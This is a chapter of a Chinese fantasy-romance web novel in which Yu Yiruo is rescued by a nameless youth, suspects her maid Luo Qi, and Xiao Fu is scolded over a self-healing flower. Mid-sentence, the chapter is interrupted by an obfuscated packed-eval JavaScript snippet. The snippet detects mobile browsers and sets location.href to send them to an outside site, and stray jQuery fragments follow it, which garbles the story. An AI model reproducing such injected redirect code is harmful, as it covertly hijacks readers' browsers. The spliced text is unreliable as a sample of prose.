193. 黑影
作品:《失手伤害反派后》 余以若没想到在这种时候还有人来救自己,而且抬头一看,还是那个古怪的黑影。
“把手给我。”黑影又重复了遍。
余以若就算不明白是怎么回事,可也是惜命的,这个时候本就身陷囹圄,要是再顾忌别的什么,怕是最后连粥都要喝不上。
没有半分犹豫,余以若抬起另一只手放到了少年白嫩的掌心。
少年却并没有如她所想那般握紧余以若的手,是巧妙地避开了余以若的手心,抓住了她的手腕,借力一提,余以若被拉了上来。
甫一踩上实地,余以若这颗悬着的心才算微微落到了实处。
就是这个少年,为何会救自己?
余以若抬头去看他,他好似也在看着余以若。
黑魆魆的晚上约莫只能看清少年大致的轮廓,消瘦挺拔,却也因着肩头披着的那身黑衣而显得过分诡谲。现下是白日,余以若才能发现这少年并非是如口中的黑影那般,黑漆漆的。
少年生得很白,余以若一眼望过去,感觉这少年的脸甚至在太阳光下都发着光。唇却很红,像是抹上了白日肖玲递给她的口脂。瘦削的脸埋在乱蓬蓬的长发下,头发因为没有打理,已经沾上了很多泥粒,看起来很是狼狈。
许是被盯久了,有几分不适,少年轻咳了几声。
余以若晃晃脑袋,让自己思路回笼,坦然笑道:“多谢你,我见过你,你还记得我吗?”
“嗯。”少年纵然浑身脏兮兮的,嗓音却很清润,像是山间的泉流,汨汨地渗入人心。
“你为何会救我?”分明昨晚还吓她,今日却出现在这里救她。
余以若想知道一个原因,固然问出这个话有自大成分在,但余以若还是继续盯住少年,企图从他那张略显无措的脸上看出答案。
少年动了动唇,没有说话。
“你怕我?”余以若摆手,“我昨晚不是故意凶你的,只是你大晚上来吓我……”
少年摇头,抬起头,仿佛下了很大决心似的,“我……想……”
还没等到少年后面的话如何,少年身后有个人出现了,是罗奇。
余以若看到对方慌乱的视线的刹那,心脏颤了颤。自己是被人推下去的,这一点余以若很清楚,而被人推下去之前,余以若是来找罗奇。
想到这里,余以若再看向罗奇的目光里就掺杂了几分意味深长。
罗奇似乎也看出余以若的视线有些不对劲,颤抖着走来,“余姑娘……你还好吗?”
“我可好了,这不就很好?”余以若抬起手绕了圈,“一点事都没有呢。”
“那就好那就好。”罗奇好似松了口气,紧绷的肩头都沉了下去。
余以若不想打哑谜,一口气问出:“反倒是你,中途又去了哪?你适才叫我是干什么?你来问我好不好,是不是你觉得我就会掉下去?”
罗奇的神色明显僵住,视线开始飘忽,余以若顺着她的视线看去,看到了默摸离开的黑衣少年,余以若想着自己连对方名字叫什么都不知道,赶忙追了上去,拉住少年破烂的衣摆,“公子,我还不知道你叫什么呢?”
少年被她这一拉身子僵了僵,有些无措地转过身,只吐了两个字:“没有。”
“没有名字?”余以若讶然,“那你吃饭了吗?要不要去山下吃口热乎的饭?”
“不必。”少年扯回被余以若拉着的衣服,头也不回地往前走,走到一半,又被余以若拦下。
少女张开双手,小脸气鼓鼓的:“你救了我一命,理应如此,公子就不要客气了。”
少年动作一顿,眸中好似有光闪了闪。
余以若乘胜追击,“公子既然没名字,那我给公子取个名字可好?”
少年没说话,久久才轻轻地吐出一个字:“脏……”
“不脏!洗干净就好啦。”余以若知道他说的是身上还有脸上的污渍,余以若迈步走上前,笑吟吟地望着少年的眸子,“都说眼睛是心灵的窗户,公子的心都这么漂亮,眼睛也理应这么漂亮,公子很好看的。”
“是吗?”少年愣了愣,过了许久才抬头去看余以若,只不过触到少女灼热视线的片刻又火速把头埋了下去,埋在了蓬乱的头发下面,好像这样就能减少几分自己的不堪。
“所以,你要跟我走吗?”余以若像他发出邀请。
少年好像真被余以若说动了,藏在黑布下面的手指动了动。余以若看在眼里,怕他继续僵持下去,往前凑了凑,就要拉起少年的手时,侧边急速跑来个人挡住了余以若的动作。
“不可!”罗奇死死地抓住余以若伸在半空的手,“余姑娘!男女有别,青天白日,不可如此!”
“罗奇,你太迂腐了,刚才公子还救了我,没事的。”余以若把罗奇拉开,再望向少年时,少年避开了余以若的目光,绕开她,头也不回地跑了,余以若连他的衣角都没抓住。
望着少年人猝不及防跑开的背影,余以若把目光移向了少年耳尖。
通白的,一点儿都没变化。
“余姑娘!虽然我是一介丫头,但怎可如此,男女有别这事,我还是知道的!”罗奇苦口婆心劝道:“要是你真把那人带回去,后果怎样你可知道!”
余以若看向少女的罗奇,一张脸儿圆圆的,要不是听闻阿香婆婆说罗奇二十左右,余以若觉得这张脸估摸着放到人前,说是十七八岁,别人也挑不出一丝错来。
只是这话怎么就这么老套呢?
似乎是觉察到了少女的注视,罗奇把看向远处少年离开的视线挪了回来,不自然道:“余姑娘,你为何这般盯着我,从刚才的话来看,你莫不是觉得是我把你推下去的吧?”
余以若笑笑,“不是,没有,你是不是被吓到了?”
罗奇咬着唇不说话,但余以若眼底的情绪,她还是看到了,是怀疑她的没错,罗奇急切辩解,“我适才唤你,是因为我也掉下去了,我看你离我更近,所以才出声喊你的。”
“这么巧?”余以若道。
罗奇一愣,“余姑娘,你应该信我的。”
“我自然信你,但你信不信你自己就只有你自己知道。”余以若丢下这句话后就不再同她做这些苍白的对话,而是抬头看向天空,云竟然奇迹般地散了,又是万里无云,无尽青空。
余以若记不起是什么时候发生的,但好在没出什么意外,想起被落下的肖玲和小福,赶忙按着原路下山。上山前她就打探过这座山头,因挨着另作坟头山,没什么遮蔽物,猛虎野兽是不会在此栖息的,就是担心被歹人所害。
余以若担心的事没有发生,小福一屁股坐下去的片刻,手中的花从折断的那部分自觉地接上,等他再从地上站起来时,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950922|169447||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那断头的花早就完好无损的。虽然自小生活在青鸾峰,稀奇古怪的事情见过不少,但这种不消接住任何外力就可愈合自如的植物,他没见过。
这花的断口接起来的刹那,小福感到地底下有什么东西在遥相呼应,以至于地面的尘埃都扬了起来。小福真觉好奇,当即想要再伸手去摘取眼前的花。
突然手腕就被人抓住,小福回头去看见是肖玲,沉着脸色的肖玲,空出来的另一只手还捏着散发着黑气的令牌,视线还没挪过去仔细看的时候,肖玲就把那令牌背到了身后,让他是想看也看不到。
以这几天小福对肖玲的了解,小福知道她一直瞪着自己很生气,好像他犯了什么大错,小福也不知道自己做错了什么,只能弱弱地问:“肖姐姐,我没干什么?”
“你怎么知道我要问什么?快说!你是不是叛徒!敌方派来的叛徒?”肖玲逼问道。
小福被吓到了,不知道她这话说的是什么意思,只能一遍遍地重复,“我是小福,扶光宗的小福,不是叛徒!”
“那你刚才摘的是什么知道吗!”肖玲真的生气了,昔日微微上挑略显气场的眉眼,这时候戾气十足,仿佛要把他生吞活剥了似的。
小福摇摇头,他是真不知道自己犯了什么错,做了什么。
肖玲叹了口气,才算把他的手放下。
小福缩回手,满眼含着泪,可怜巴巴地看着自己通红的手腕,还没缓过神,就被肖玲再次以恐吓的语气吓了大跳,“记着!这里的花不可以动,你动一次,我杀你一次!”说着还拍了拍腰间别着的缩小长枪。
小福看到过那长枪放大版的样子,威风凛凛,煞气逼人,小福自然不想没命,重重地点头,发誓自己不会再碰那些话一下。
肖玲听闻脸上也没有什么表情,伸出手把小福拉起来,两人便一直走走到了山顶,恰好碰到余以若同那少年的对话。小福不知道肖玲什么表情,但从牵着自己手腕的手缓缓收紧来看,情绪是很强烈。
就连那块被她背过手去的令牌,都发着诡异的黑气,活像是有什么东西要从里面钻出来,把那少年绳之于法。
余以若是被肖玲叫了声,才发现她们也跟着上来了。
余以若笑着去察看她们两人身上是否带伤,得到否定的答案,这才带着大家下山。余以若下山的途中还看了眼小福背着的大竹篓,空的,同来的时候没有什么区别。
“小福,你没摘花吗?”余以若问。
“没……本来是摘了的……”小福委屈地看着余以若。
余以若揉了揉他的脑袋,问:“然后呢?”
“被……被她一吓……就……就没了……”小福很委屈,委屈之余还不忘去看那始作俑者,虽然肖玲什么也没干,但还是接收到了余以若眼底的探究。
余以若收回目光,“既然没有我们也不用去采了,下次去玉绵林瞧瞧怎么样?”
“不去了……”小福这次是怕了,下次说什么也不会去了。
正说着,肖玲又突然莫名其妙地插了句,“那少年是谁?”牙关却紧紧地咬着,好像在承受着巨大的苦楚。
小福习惯地看向了后头,冒着黑气的地方,更加热烈。
“不知道。”余以若摇头。
“那你和他有关系吗?”
“没有关系啊。”余以若坦然道。

